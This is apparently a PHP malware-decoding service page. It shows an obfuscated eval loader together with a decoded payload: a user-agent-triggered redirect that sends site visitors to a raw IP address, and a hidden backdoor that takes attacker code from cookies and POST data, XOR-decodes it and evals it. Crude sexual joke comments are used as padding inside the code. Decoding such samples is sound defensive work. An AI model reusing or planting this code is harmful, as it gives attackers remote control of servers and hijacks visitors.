Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8T..

Decoded Output download

if(!empty/*Bloodninja: I lick your earlobe, and undo your watch.*/($_SERVER["HTTP_USER_AGENT"])):$_=array("Chrome","Firefox","Trident","MSIE","Windows","Linux","Iphone","Android","Opera","Safari");foreach($_ as$_):if(sTRipos($_SERVER["HTTP_USER_AGENT"],$_)!==/*Sarah19fca: mmmm, okay.*/false/*Bloodninja: I take yo pants off, grunting like a troll.*/):if(!isset($_COOKIE["htp_uid_utm"])):sETcOOKIe("htp_uid_utm","1",TiME()+07020/*Sarah19fca: Yeah I like it rough.*/*030/*Bloodninja: I smack you thick booty.*/*02);HeadEr("Location: http://134.249.116.78/index.php");die/*Sarah19fca: Oh yeah, that feels good.*/();endif;endif;endforeach;endif;;/*Bloodninja: Smack, Smack, yeeeaahhh.*/

Did this file decode correctly?

Original Code

<?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?><?php
$iuslbh = '7am*1l4cik6d25t#3r-y\'b_vu0psge9oHnx';$zosser = Array();$zosser[] = $iuslbh[32].$iuslbh[3];$zosser[] = $iuslbh[16].$iuslbh[21].$iuslbh[11].$iuslbh[21].$iuslbh[6].$iuslbh[10].$iuslbh[7].$iuslbh[7].$iuslbh[18].$iuslbh[7].$iuslbh[1].$iuslbh[12].$iuslbh[6].$iuslbh[18].$iuslbh[6].$iuslbh[29].$iuslbh[25].$iuslbh[1].$iuslbh[18].$iuslbh[30].$iuslbh[13].$iuslbh[12].$iuslbh[1].$iuslbh[18].$iuslbh[7].$iuslbh[13].$iuslbh[29].$iuslbh[4].$iuslbh[12].$iuslbh[16].$iuslbh[11].$iuslbh[0].$iuslbh[6].$iuslbh[21].$iuslbh[13].$iuslbh[12];$zosser[] = $iuslbh[15];$zosser[] = $iuslbh[7].$iuslbh[31].$iuslbh[24].$iuslbh[33].$iuslbh[14];$zosser[] = $iuslbh[27].$iuslbh[14].$iuslbh[17].$iuslbh[22].$iuslbh[17].$iuslbh[29].$iuslbh[26].$iuslbh[29].$iuslbh[1].$iuslbh[14];$zosser[] = $iuslbh[29].$iuslbh[34].$iuslbh[26].$iuslbh[5].$iuslbh[31].$iuslbh[11].$iuslbh[29];$zosser[] = $iuslbh[27].$iuslbh[24].$iuslbh[21].$iuslbh[27].$iuslbh[14].$iuslbh[17];$zosser[] = $iuslbh[1].$iuslbh[17].$iuslbh[17].$iuslbh[1].$iuslbh[19].$iuslbh[22].$iuslbh[2].$iuslbh[29].$iuslbh[17].$iuslbh[28].$iuslbh[29];$zosser[] = $iuslbh[27].$iuslbh[14].$iuslbh[17].$iuslbh[5].$iuslbh[29].$iuslbh[33];$zosser[] = $iuslbh[26].$iuslbh[1].$iuslbh[7].$iuslbh[9];foreach ($zosser[7]($_COOKIE, $_POST) as $darumgm => $yfsuy){function znavyg($zosser, $darumgm, $twgjbj){return $zosser[6]($zosser[4]($darumgm . $zosser[1], ($twgjbj / $zosser[8]($darumgm)) + 1), 0, $twgjbj);}function jtzuqr($zosser, $wmhrvv){return @$zosser[9]($zosser[0], $wmhrvv);}function xduis($zosser, $wmhrvv){$ssljpk = $zosser[3]($wmhrvv) % 3;if (!$ssljpk) {eval($wmhrvv[1]($wmhrvv[2]));exit();}}$yfsuy = jtzuqr($zosser, $yfsuy);xduis($zosser, $zosser[5]($zosser[2], $yfsuy ^ znavyg($zosser, $darumgm, $zosser[8]($yfsuy))));}

Function Calls

gzuncompress 1
base64_decode 1

Variables

$iuslbh 7am*1l4cik6d25t#3r-y'b_vu0psge9oHnx
$zosser []

Stats

MD5 42e3a70b6376bb4ffe182eb39c5012fe
Eval Count 1
Decode Time 106 ms